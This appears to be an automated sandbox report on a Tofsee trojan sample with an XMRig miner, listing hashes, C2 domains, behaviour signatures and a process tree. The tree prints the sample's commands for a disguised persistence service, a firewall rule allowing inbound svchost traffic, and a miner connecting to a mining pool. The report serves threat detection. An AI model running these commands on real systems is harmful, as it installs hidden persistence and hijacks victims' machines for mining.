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Overview

overview

10

Static

static

dridex

windows10-2004-x64

10

Analysis

  • max time kernel
    142s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09/01/2023, 00:58

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General

  • Target

    a24ac3a139c0635c9731a068cdd537985a690923e5626229cd47fbc675b904f1.exe

  • Size

    260KB

  • MD5

    2073dae8b615ea1f457856ac118ae6d6

  • SHA1

    412181334c6bd79483ad5acbbdd93665fe4f022b

  • SHA256

    a24ac3a139c0635c9731a068cdd537985a690923e5626229cd47fbc675b904f1

  • SHA512

    f470dafd92ab05d2cf40628eb14183581a455089c46a34b84495e373cdc4bacba892bf2deef1ea818266243397fc4c227c400321f1d9928f03e52e4568f84341

  • SSDEEP

    3072:t1XE7JCdjzLS7m7diBLe153EbzZ3n2vO2oIqAtpfag9hZCRRzMuWZgd3n:7nBL97diBLFRXgLocpiAcqgd3

Score
10/10
tofseexmrigevasionminerpersistencetrojan

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • XMRig Miner payload 2 IoCs
    miner
  • Creates new service(s) 1 TTPs
    persistence
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
    evasion
  • Sets service image path in registry 2 TTPs 1 IoCs
    persistence
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\a24ac3a139c0635c9731a068cdd537985a690923e5626229cd47fbc675b904f1.exe
    "C:\Users\Admin\AppData\Local\Temp\a24ac3a139c0635c9731a068cdd537985a690923e5626229cd47fbc675b904f1.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4056
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\ovwdvddh\
      2⤵
        PID:4836
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\brkifovu.exe" C:\Windows\SysWOW64\ovwdvddh\
        2⤵
          PID:4360
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create ovwdvddh binPath= "C:\Windows\SysWOW64\ovwdvddh\brkifovu.exe /d\"C:\Users\Admin\AppData\Local\Temp\a24ac3a139c0635c9731a068cdd537985a690923e5626229cd47fbc675b904f1.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:808
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description ovwdvddh "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4636
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start ovwdvddh
          2⤵
          • Launches sc.exe
          PID:4864
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:5040
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4056 -s 1124
          2⤵
          • Program crash
          PID:2272
      • C:\Windows\SysWOW64\ovwdvddh\brkifovu.exe
        C:\Windows\SysWOW64\ovwdvddh\brkifovu.exe /d"C:\Users\Admin\AppData\Local\Temp\a24ac3a139c0635c9731a068cdd537985a690923e5626229cd47fbc675b904f1.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1560
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:732
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:3084
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1560 -s 516
          2⤵
          • Program crash
          PID:1300
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 4056 -ip 4056
        1⤵
          PID:4388
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 1560 -ip 1560
          1⤵
            PID:1440

          Network

          MITRE ATT&CK Enterprise v6

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          Downloads

          • C:\Users\Admin\AppData\Local\Temp\brkifovu.exe
            Filesize

            12.8MB

            MD5

            fbdb91c70bccb80c2a9f77bbdd54cec4

            SHA1

            d6d94de4910d6879ab2cac06f91a4ff448f6bef9

            SHA256

            34e7f0696f5da12c2844da4224a9e4bfd5b0a55dc4beb4526c550be03237f59a

            SHA512

            6deaf47d554ece84f24b36527616e8a6e262918ff2b0d27a467096aff905e4c8a4c8a686c3fbc6d2c5854ccd127a46d83fb25e5d5ea8aa28375f7c369b945612

            Download Submit

          • C:\Windows\SysWOW64\ovwdvddh\brkifovu.exe
            Filesize

            12.8MB

            MD5

            fbdb91c70bccb80c2a9f77bbdd54cec4

            SHA1

            d6d94de4910d6879ab2cac06f91a4ff448f6bef9

            SHA256

            34e7f0696f5da12c2844da4224a9e4bfd5b0a55dc4beb4526c550be03237f59a

            SHA512

            6deaf47d554ece84f24b36527616e8a6e262918ff2b0d27a467096aff905e4c8a4c8a686c3fbc6d2c5854ccd127a46d83fb25e5d5ea8aa28375f7c369b945612

            Download Submit

          • memory/732-152-0x0000000002200000-0x000000000240F000-memory.dmp

            Filesize

            2.1MB

            Download

          • memory/732-161-0x00000000027D0000-0x00000000027D5000-memory.dmp

            Filesize

            20KB

            Download

          • memory/732-149-0x00000000003D0000-0x00000000003E5000-memory.dmp

            Filesize

            84KB

            Download

          • memory/732-164-0x0000000007180000-0x000000000758B000-memory.dmp

            Filesize

            4.0MB

            Download

          • memory/732-158-0x0000000001950000-0x0000000001960000-memory.dmp

            Filesize

            64KB

            Download

          • memory/732-155-0x0000000001940000-0x0000000001946000-memory.dmp

            Filesize

            24KB

            Download

          • memory/732-151-0x00000000003D0000-0x00000000003E5000-memory.dmp

            Filesize

            84KB

            Download

          • memory/732-167-0x00000000027E0000-0x00000000027E7000-memory.dmp

            Filesize

            28KB

            Download

          • memory/732-145-0x00000000003D0000-0x00000000003E5000-memory.dmp

            Filesize

            84KB

            Download

          • memory/1560-150-0x0000000000400000-0x0000000002BA9000-memory.dmp

            Filesize

            39.7MB

            Download

          • memory/1560-148-0x0000000002F19000-0x0000000002F29000-memory.dmp

            Filesize

            64KB

            Download

          • memory/3084-176-0x0000000001020000-0x0000000001111000-memory.dmp

            Filesize

            964KB

            Download

          • memory/3084-171-0x0000000001020000-0x0000000001111000-memory.dmp

            Filesize

            964KB

            Download

          • memory/4056-134-0x0000000002C80000-0x0000000002C93000-memory.dmp

            Filesize

            76KB

            Download

          • memory/4056-143-0x0000000000400000-0x0000000002BA9000-memory.dmp

            Filesize

            39.7MB

            Download

          • memory/4056-133-0x0000000002CFD000-0x0000000002D0D000-memory.dmp

            Filesize

            64KB

            Download

          • memory/4056-135-0x0000000000400000-0x0000000002BA9000-memory.dmp

            Filesize

            39.7MB

            Download